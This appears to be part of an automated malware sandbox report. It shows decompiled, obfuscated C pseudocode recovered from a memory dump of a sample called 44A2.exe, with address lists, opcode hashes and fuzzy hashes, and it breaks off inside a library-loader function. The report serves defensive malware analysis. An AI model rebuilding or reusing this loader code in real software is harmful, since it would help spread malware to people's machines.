				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t39);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t39);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t38);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.895304799.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 44A2.exe PID: 6852 Parent PID: 3424 44A2.exeCOMMON

Executed Functions

Function 0040C0B0, Relevance: 296.6, APIs: 124, Strings: 45, Instructions: 832
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040C0B0() {
				struct HINSTANCE__* _t2;
				intOrPtr _t3;
				struct HINSTANCE__* _t6;
				intOrPtr _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				struct HINSTANCE__* _t10;
				intOrPtr _t11;
				struct HINSTANCE__* _t14;
				intOrPtr _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				_Unknown_base(*)()* _t18;
				CHAR* _t19;
				struct HINSTANCE__* _t21;
				struct HINSTANCE__* _t22;
				CHAR* _t25;
				struct HINSTANCE__* _t27;
				CHAR* _t30;
				struct HINSTANCE__* _t32;
				CHAR* _t35;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t58;
				CHAR* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t62;
				CHAR* _t65;
				struct HINSTANCE__* _t67;
				CHAR* _t70;
				struct HINSTANCE__* _t72;
				CHAR* _t75;
				struct HINSTANCE__* _t77;
				CHAR* _t80;
				struct HINSTANCE__* _t82;
				struct HINSTANCE__* _t83;
				CHAR* _t86;
				struct HINSTANCE__* _t88;
				CHAR* _t91;
				struct HINSTANCE__* _t93;
				CHAR* _t96;
				struct HINSTANCE__* _t98;
				CHAR* _t101;
				struct HINSTANCE__* _t103;
				CHAR* _t106;
				CHAR* _t108;
				struct HINSTANCE__* _t110;
				CHAR* _t113;
				struct HINSTANCE__* _t115;
				CHAR* _t118;
				struct HINSTANCE__* _t120;
				struct HINSTANCE__* _t121;
				CHAR* _t122;
				struct HINSTANCE__* _t124;
				CHAR* _t127;
				struct HINSTANCE__* _t129;
				CHAR* _t132;
				struct HINSTANCE__* _t134;
				CHAR* _t137;
				struct HINSTANCE__* _t139;
				CHAR* _t142;
				struct HINSTANCE__* _t144;
				CHAR* _t147;
				struct HINSTANCE__* _t149;
				CHAR* _t152;
				struct HINSTANCE__* _t154;
				CHAR* _t157;
				struct HINSTANCE__* _t159;
				CHAR* _t162;
				struct HINSTANCE__* _t164;
				CHAR* _t167;
				struct HINSTANCE__* _t169;
				CHAR* _t172;
				struct HINSTANCE__* _t174;
				CHAR* _t177;
				struct HINSTANCE__* _t179;
				CHAR* _t182;
				struct HINSTANCE__* _t184;
				CHAR* _t187;
				struct HINSTANCE__* _t189;
				CHAR* _t192;
				struct HINSTANCE__* _t194;
				CHAR* _t197;
				struct HINSTANCE__* _t199;
				CHAR* _t202;
				struct HINSTANCE__* _t204;
				CHAR* _t207;
				struct HINSTANCE__* _t209;
				intOrPtr _t211;
				intOrPtr _t212;
				intOrPtr _t213;
				intOrPtr _t214;
				intOrPtr _t215;
				CHAR* _t216;
				struct HINSTANCE__* _t217;
				CHAR* _t218;
				struct HINSTANCE__* _t219;
				CHAR* _t220;
				struct HINSTANCE__* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				struct HINSTANCE__* _t226;
				CHAR* _t227;
				struct HINSTANCE__* _t228;
				CHAR* _t229;
				struct HINSTANCE__* _t230;
				CHAR* _t231;
				struct HINSTANCE__* _t232;
				CHAR* _t233;
				struct HINSTANCE__* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				struct HINSTANCE__* _t243;
				CHAR* _t244;
				struct HINSTANCE__* _t245;
				CHAR* _t246;
